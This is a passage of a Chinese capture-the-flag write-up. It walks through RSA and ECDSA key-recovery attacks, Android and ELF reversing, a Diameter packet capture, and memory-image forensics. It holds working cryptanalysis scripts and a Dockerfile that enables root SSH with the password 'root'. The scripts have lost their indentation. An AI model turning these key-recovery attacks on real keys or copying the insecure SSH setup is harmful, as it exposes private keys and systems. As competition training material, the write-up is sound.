PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 104769059324906604819374246969389472089736482039584780304698351288134425847574721209477631552050746222528061242850563906415558000954816414452571907898376586538455570846715727736834959625908944488834642926192746728574287181536549647851644625185864257557629579686099455733892320222578364826099212655146530976379
e = 12337109880409970018293646110440488264982341274846829641219533345965373708872641944832903882339212178067485766669515688243675673212167726028183775964215646348775048640061665951311218967384639999950950042290221189659835294938061099700246737365693200129282703765155456889082133763568539014092220899267025682857
c = 31744736423783628269884009616541129531740686983212218114995065554639252322714403985771782435353721009653250709135160293375136413735234647281736871541268953447552855923299477737849706638177219571453513142214997506075291749228813720600113175989090030091204440975462838480365583907951185017109681679559591532826
hint1 = 864467081468962738290 # p高位
hint2 = 939654974954806345061 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

Image

然后我们就可以拿到d,之后进行解密就可以了

Image

Image

CRYPTO02

Image

我们直接用ai去解析我们的脚本,然后直接生成脚本得到了一段维吉尼亚加密的字符串


import gmpy2
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii
import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r = 80932673752923845218731053671144903633094494351596082125742241568755353762809
s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154
s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487
z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079
z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591

# Calculate dA
s1_minus_s2 = (s1 - s2) % n
z1_minus_z2 = (z1 - z2) % n
r_inv = gmpy2.invert(r, n)
dA = ((s2 * z1 - s1 * z2) * gmpy2.invert(r * (s1 - s2), n)) % n

# Calculate key
key = sha256(long_to_bytes(dA)).digest()
encrypted = 'd8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be'
encrypted_bytes = binascii.unhexlify(encrypted)
iv = encrypted_bytes[:16]
ciphertext = encrypted_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
print(decrypted)

加密步骤如下:

第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文

第⼆层:AES-CBC加密,输入:维吉尼亚密文

密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出: IV + AES密文,ECDSA签名(⽤于⽣ 成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数

Image

然后我们再用ai去根据我们的维吉尼亚加密去写一个解密算法

def victory_decrypt(ciphertext, key):            
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag)

Image

最后我们再将所有大写的字母转化为小写就是flag

Image

或者脚本:

import binascii
from hashlib import sha256
fromCrypto.Cipherimport AES
fromCrypto.Util.number import long_to_bytes
fromCrypto.Util.Paddingimport unpad
import gmpy2

n =0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 =86806104739558095745988469033305523200538774705708894815836887970976487278764
r2 =86806104739558095745988469033305523200538774705708894815836887970976487278764
s1 =93400851884262731807098055393482657423555590196362184363643455285862566867372
s2 =58741027521216057788923508334695668250013849866589902683641825341545919891746
z1 =47591695289461307212638536234394543297527537576682980326526736956079807805586
z2 =97911075901954715147720917205165523174582665086645698292621371632896283314804
k =(z1 - z2)* gmpy2.invert(s1 - s2, n)% n
dA =(s1 * k - z1)* gmpy2.invert(r1, n)% n

encrypted_flag_hex =u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936'
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:AES.block_size]
encrypted_flag = encrypted_flag_bytes[AES.block_size:]

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)

victory_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')

defvictory_decrypt(ciphertext, key):
key = key. upper()
key_length =len(key)
ciphertext = ciphertext. upper()
plaintext =''

for i, char inenumerate(ciphertext):
if char.isalpha():
shift =ord(key[i % key_length])-ord('A')
decrypted_char =chr((ord(char)-ord('A')- shift +26)%26+ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key ="WANGDINGCUP"
flag = victory_decrypt(victory_encrypted_flag, victory_key)

print(flag)

flag:wdflag{27f8decfdb040abb2d0ddba70ad0484d}

REVERSE

REVERSE01

是⼀个apk文件⽤jadx打开

Image

找到⼀个这个但没发现什么有⽤的信息 ,想着这⼀块提取出来看看 ,先⽤APKIDE打开看看

Image

会发现主要在这⼀块 ,⽤ida打开这⾥

Image

在这⾥发现⼏个so文件 ,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话 找到密文与key

Image

Image

密文

Image

Image

之后直接解密即可 ,注意key的后半部分是反过来的

Image

REVERSE02

Image

用ida打开文件,查看main主函数,发现flag位40位,且开头是wdflag{,结尾},中间是四重加密,每重加密8位flag部分

Image

第一关,知道v2的8位16进制数,求s1,把s2的值除2转成字符串,得到第一段flag: bf00e556

Image

Image

第二关,知道v22和v11的值,v22和v11求得v12得到第二段flag:0f45aac9

Image

Image

Image

第三关,v21进行了base64加密,要求v17,对v21进行base64解密,这里换了码表,得到第三段flag:c26f0465

Image

第四关,aes加密,这里告诉了key,就是v9,其他都不用看,要对密文v4进行解密,得到第四段flag:b985cb15Image

Image

wdflag{bf00e5560f45aac9c26f0465b985cb15}

MISC

签到

知识竞赛,答对8题即可

Image

flag:

flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a}

MISC01

Image

首先我们发现是一个Diameter协议,上网搜索发现再AVP部分包含了用户的信息

Image

我们过滤Diameter协议(https://www.cnblogs.com/stevensfollower/p/5556443.html

也是简单看了几篇文章,对diameter也有了个简单的了解,再结合题目描述:某单位网络遭到非法的攻击,安全人员对流量调查取证之后保存了关键证据,发现人员的定位信息存在泄露,哎!捕捉关键词"定位信息"!那这里提示也是很明显了,就是让我们在流量包中找到可疑的定位信息呗!那我们这里直接过滤出了diameter协议来进行分析,发现也没多少条记录

Image

发现存在几条流量,我们一个一个分析,在这天流量中发现了location-information这个单词,就是位置信息的意思

Image

我们依次跟进发现了这个字段,我们直接ai解释一下就是我们要找的位置信息了

Image

Image

802f208f26ae77是一个ECGI值,它通过唯一编码的形式实现对特定小区的全球定位与标识。

然后我们进行行32位md5哈希运算后即可得到flag

Image

wdflag{d72937999d564f8d86f2f583569a47d3}

Misc02

image-20241104163934148

题目附件给了一个未知后缀的flag文件,strings 查看一下发现是Ubuntu22.04的内存镜像

image-20241104163951545

这里我先尝试了制作vol3的symbols,但是做完后发现也扫不出东西

如何制作vol3的符号文件可以参考我的这篇博客以及这个项目

我这里还是写了一个Dockerfile来制作符号文件

把 linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb 和 dwarf2json-linux-amd64 放 src 目录中即可

ddeb的下载链接:http://launchpadlibrarian.net/733303944/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

FROM ubuntu:22.04

# 将环境设置为非交互环境
ENV DEBIAN_FRONTEND=noninteractive

COPY ./src/ /src/

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update --no-install-recommends\
&& apt install -y openssh-server gcc-10 dwarfdump build-essential unzip kmod linux-base linux-image-6.5.0-41-generic\
&& mkdir /app \
&& sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \
&& sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \
&& echo 'root:root' | chpasswd \
&& systemctl enable ssh \
&& service ssh start

WORKDIR /src

# 这里的文件名需要根据系统版本进行修改
COPY ./src/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

RUN dpkg -i linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb \
&& chmod +x dwarf2json-linux-amd64 \
# 下面这里的文件名需要根据系统版本进行修改
&& ./dwarf2json-linux-amd64 linux --elf /usr/lib/debug/boot/vmlinux-6.5.0-41-generic > linux-image-6.5.0-41-generic.json


CMD ["/bin/bash"]

符号文件在Docker中制作好后直接SSH连上容器下载到本地

然后放到 volatility3/volatility3/framework/symbols/linux/ 目录下即可

docker build --tag symbols . docker run -p 2022:22 -it symbols /bin/sh service ssh start

image-20241104164100015

做完符号文件后发现也扫不出东西,因此这道题我这里就直接打算用010手动提取了

首先,我们先用strings看看用户桌面上有什么东西,当然这里也可以直接在010中搜字符串

strings flag | grep Desktop

image-20241104164128816

我们确定了用户名以及桌面的路径,便于我们缩小范围,过滤掉无效的干扰数据

strings flag | grep /home/ccc/Desktop/

image-20241104164159296

可以看到扫出来了很多非常关键的信息,桌面上有很多张PNG图片,然后还有同名的TXT文件

甚至还有内存镜像的vol3符号文件以及制作符号文件的工具(所以我猜测出题人是故意让我们没办法用vol3进行取证)

然后我们到010中搜索那几张图片的文件名

image-20241104164217435

发现用了base64 xxx.png > xxx.txt这个命令,把图片数据以base64编码的格式保存到同名txt文件中

猜测另外几个文件也是同理,因此我们根据PNG的文件头base64编码后的值:iVBORw0KGgo

在010中可以定位到12个位置

image-20241104164234616

依次查看,发现里面有好多个位置表示的都是同一张图片

手动提取出Hex数据,注意这里建议提取Hex数据,直接提取右边的字符串可能会有问题(可能有不可打印字符)

69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 49 41 41 41 44 54 45 44 38 78 41 41 41 43 76 55 6C 45 51 56 52 34 6E 4F 33 54 4D 51 45 41 49 41 7A 41 4D 4D 43 2F 35 79 46 6A 52 78 4D 46 66 58 70 6E 35 6B 44 56 32 77 36 41 54 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4E 6F 48 71 2B 67 45 2F 51 50 4E 4D 47 49 41 41 41 41 41 53 55 56 4F 52 4B 35 43 59 49 49 3D

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAIAAADTED8xAAACvUlEQVR4nO3TMQEAIAzAMMC/5yFjRxMFfXpn5kDV2w6ATQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQNoHq+gE/QPNMGIAAAAASUVORK5CYII=

base64解码后可以得到下面这张空白图片,数据很短,也没什么用

然后我们在010中继续往下看,可以把与上面这个图片有重合部分的base64的数据都删掉方便查看

然后在下图这个位置发现了另一张图片,我尝试给它提取出来

image-20241104164326990

69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 59 41 41 41 42 63 63 71 68 6D 41 41 41 42 47 32 6C 55 57 48 52 59 54 55 77 36 59 32 39 74 4C 6D 46 6B 62 32 4A 6C 4C 6E 68 74 63 41 41 41 41 41 41 41 50 44 39 34 63 47 46 6A 61 32 56 30 49 47 4A 6C 5A 32 6C 75 50 53 4C 76 75 37 38 69 49 47 6C 6B 50 53 4A 58 4E 55 30 77 54 58 42 44 5A 57 68 70 53 48 70 79 5A 56 4E 36 54 6C 52 6A 65 6D 74 6A 4F 57 51 69 50 7A 34 4B 50 48 67 36 65 47 31 77 62 57 56 30 59 53 42 34 62 57 78 75 63 7A 70 34 50 53 4A 68 5A 47 39 69 5A 54 70 75 63 7A 70 74 5A 58 52 68 4C 79 49 67 65 44 70 34 62 58 42 30 61 7A 30 69 57 45 31 51 49 45 4E 76 63 6D 55 67 4E 69 34 77 4C 6A 41 69 50 67 6F 67 50 48 4A 6B 5A 6A 70 53 52 45 59 67 65 47 31 73 62 6E 4D 36 63 6D 52 6D 50 53 4A 6F 64 48 52 77 4F 69 38 76 64 33 64 33 4C 6E 63 7A 4C 6D 39 79 5A 79 38 78 4F 54 6B 35 4C 7A 41 79 4C 7A 49 79 4C 58 4A 6B 5A 69 31 7A 65 57 35 30 59 58 67 74 62 6E 4D 6A 49 6A 34 4B 49 43 41 38 63 6D 52 6D 4F 6B 52 6C 63 32 4E 79 61 58 42 30 61 57 39 75 49 48 4A 6B 5A 6A 70 68 59 6D 39 31 64 44 30 69 49 69 38 2B 43 69 41 38 4C 33 4A 6B 5A 6A 70 53 52 45 59 2B 43 6A 77 76 65 44 70 34 62 58 42 74 5A 58 52 68 50 67 6F 38 50 33 68 77 59 57 4E 72 5A 58 51 67 5A 57 35 6B 50 53 4A 79 49 6A 38 2B 6C 31 76 70 43 67 41 41 49 37 4A 4A 52 45 46 55 65 4A 7A 74 58 55 32 53 56 54 65 79 31 72 56 66 6D 48 67 52 4A 70 36 66 43 63 38 38 4B 67 2F 65 46 75 77 6C 65 41 31 73 6A 2B 6F 6C 77 42 4A 67 45 31 55 39 67 42 46 51 51 4C 67 59 41 42 33 30 65 51 4F 6A 61 6C 32 56 66 76 49 2F 55 2B 66 65 4C 36 4B 6A 38 61 31 7A 70 46 52 4B 79 70 50 4B 50 78 33 2B 76 66 31 37 4F 32 77 70 62 65 6D 51 55 6B 6F 70 48 56 4A 4B 32 37 61 6C 51 7A 6F 63 30 69 46 74 61 64 73 4F 32 2B 47 77 48 64 4B 57 30 6E 5A 49 32 37 64 66 44 79 6B 64 30 69 46 74 57 30 6F 70 62 53 6B 64 44 69 6C 74 4B 61 58 44 64 76 66 37 34 5A 43 6D 2F 33 2F 47 47 57 66 34 34 62 74 44 4F 71 52 30 4F 4B 54 44 33 2F 2B 58 44 69 6D 6C 66 2F 7A 7A 33 65 48 77 54 53 42 38 6B 77 50 35 71 62 38 33 37 64 2F 2F 2B 76 76 76 68 35 51 4F 33 35 34 2B 66 42 4D 4B 2B 66 65 55 55 76 72 48 50 32 2B 4F 2F 72 76 2B 2F 31 50 45 35 66 57 4E 4E 77 6C 6F 63 47 6A 32 47 75 2B 7A 56 78 39 63 2B 75 58 67 78 5A 75 50 64 2F 2B 32 34 4E 74 33 72 52 38 66 58 7A 77 69 4E 58 5A 39 2B 35 6E 64 6C 75 53 67 53 32 5A 53 2B 74 52 61 51 46 7A 2B 65 6D 79 6F 47 63 30 6A 6D 68 35 66 50 41 4C 50 68 53 54 2B 2F 50 55 6E 38 7A 34 68 79 4C 78 71 38 65 7A 33 58 33 35 4D 4B 63 48 57 58 75 75 5A 47 5A 2F 76 39 62 6C 4E 38 50 7A 31 37 65 77 52 4D 4A 35 63 76 52 56 72 61 32 55 61 4B 4B 44 51 76 63 70 59 5A 33 53 57 66 38 65 4F 4B 54 2B 2F 43 69 38 34 6F 50 42 6D 4B 67 41 77 65 50 72 79 76 57 52 7A 5A 68 67 78 54 6C 49 41 72 6F 49 65 50 35 35 63 76 54 58 64 53 43 4D 36 52 72 2F 56 66 2B 38 4A 67 57 68 7A 57 39 4A 48 32 55 75 55 75 53 45 4C 41 4D 6E 4E 50 70 76 51 31 58 44 31 31 79 66 55 38 39 67 46 33 66 75 4E 30 35 38 6E 50 4F 6D 4A 7A 67 75 4D 64 6B 54 42 59 64 76 2B 74 75 4E 37 34 66 4C 36 68 6E 77 6D 50 75 4F 4D 45 73 39 65 66 62 67

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAABG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIi8+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgo8P3hwYWNrZXQgZW5kPSJyIj8+l1vpCgAAI7JJREFUeJztXU2SVTey1rVfmHgRJp6fCc88Kg/eFuwleA1sj+olwBJgE1U9gBFQQLgYAB30eQOjal2VfvI/U+feL6Kj8a1zpFRKypPKPx3+vf17O2wpbemQUkopHVJK27alQzoc0iFtadsO2+GwHdKW0nZI27dfDykd0iFtW0opbSkdDiltKaXDdvf74ZCm/3/GGWf44btDOqR0OKTD3/+XDimlf/zz3eHwTSB8kwP5qb837d//+vvvh5QO354+fBMK+feUUvrHP2+O/rv+/1PE5fWNNwlocGj2Gu+zVx9c+uXgxZuPd/+24Nt3rR8fXzwiNXZ9+5ndluSgS2ZS+tRaQFz+emyoGc0jmh5fPALPhST+/PUn8z4hyLxq8ez3X35MKcHWXuuZGZ/v9blN8Pz17ewRMJ5cvRVra2UaKKDQvcpYZ3SWf8eOKT+/Ci84oPBmKgAwePryvWRzZhgxTlIAroIeP55cvTXdSCM6Rr/Vf+8JgWhzW9JH2UuUuSELAMnNPpvQ1XD11yfU89gF3fuN058nPOmJzguMdkTBYdv+tuN74fL6hnwmPuOMEs9efbg

image-20241104164350569

base64解码后很明显可以发现图片尾部是不完整的,但是从刚才第一张图片的尝试中

我们发现图片在内存中是分段存储的,因此我们可以尝试在010中搜索上面base64的尾部数据 tuN74fL6hnwmPuOMEs9efbg

image-20241104164409644

尝试后发现是可以找到后面的数据的,因此我们以此类推,每次拼接后都搜索尾部的数据

最后将所有的Hex数据都提取出来并解码可以得到

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAABG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIi8+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgo8P3hwYWNrZXQgZW5kPSJyIj8+l1vpCgAAI7JJREFUeJztXU2SVTey1rVfmHgRJp6fCc88Kg/eFuwleA1sj+olwBJgE1U9gBFQQLgYAB30eQOjal2VfvI/U+feL6Kj8a1zpFRKypPKPx3+vf17O2wpbemQUkopHVJK27alQzoc0iFtadsO2+GwHdKW0nZI27dfDykd0iFtW0opbSkdDiltKaXDdvf74ZCm/3/GGWf44btDOqR0OKTD3/+XDimlf/zz3eHwTSB8kwP5qb837d//+vvvh5QO354+fBMK+feUUvrHP2+O/rv+/1PE5fWNNwlocGj2Gu+zVx9c+uXgxZuPd/+24Nt3rR8fXzwiNXZ9+5ndluSgS2ZS+tRaQFz+emyoGc0jmh5fPALPhST+/PUn8z4hyLxq8ez3X35MKcHWXuuZGZ/v9blN8Pz17ewRMJ5cvRVra2UaKKDQvcpYZ3SWf8eOKT+/Ci84oPBmKgAwePryvWRzZhgxTlIAroIeP55cvTXdSCM6Rr/Vf+8JgWhzW9JH2UuUuSELAMnNPpvQ1XD11yfU89gF3fuN058nPOmJzguMdkTBYdv+tuN74fL6hnwmPuOMEs9efbg79+9hXVmMoWkErInwBMQYgqWROibMe+WzmPeghkfJefGe4xIcWkqjn8bGkeITtB3KGNA0zlQEKRUpSjuj97F/k1YfsQYr7DHMQt3VsgN5ndejHRGkkMelfgSQUmNm7ZTqX8b17ed08fABu28uWrSdccYIFur/5fXN/Agwehnyez0Iqho1Y0a5wXIf9eav+7YKbvnz15+G/tlIKrgWqGPkxj54xB/MADkeztY7JQag2cdIPdgTuGPKqi21nVo11jjKRJi3rKpTjwLWrmQJnpU0Y9vDeIw05neZI0CNF28+3kVNrYRo1mnK8STK0QoCLL9n/Njbce7uCNAK4y2hpbpTIb35Z+OXQskPKE8ljy4pHavVraPTDHnzWx1dOP1g199sc2M3P5dH2jx2jwM4Aw5J7UFaE4G2Vz5nqcVF07w80OIB2Qg4g1QijdWXeQVILmCPzV/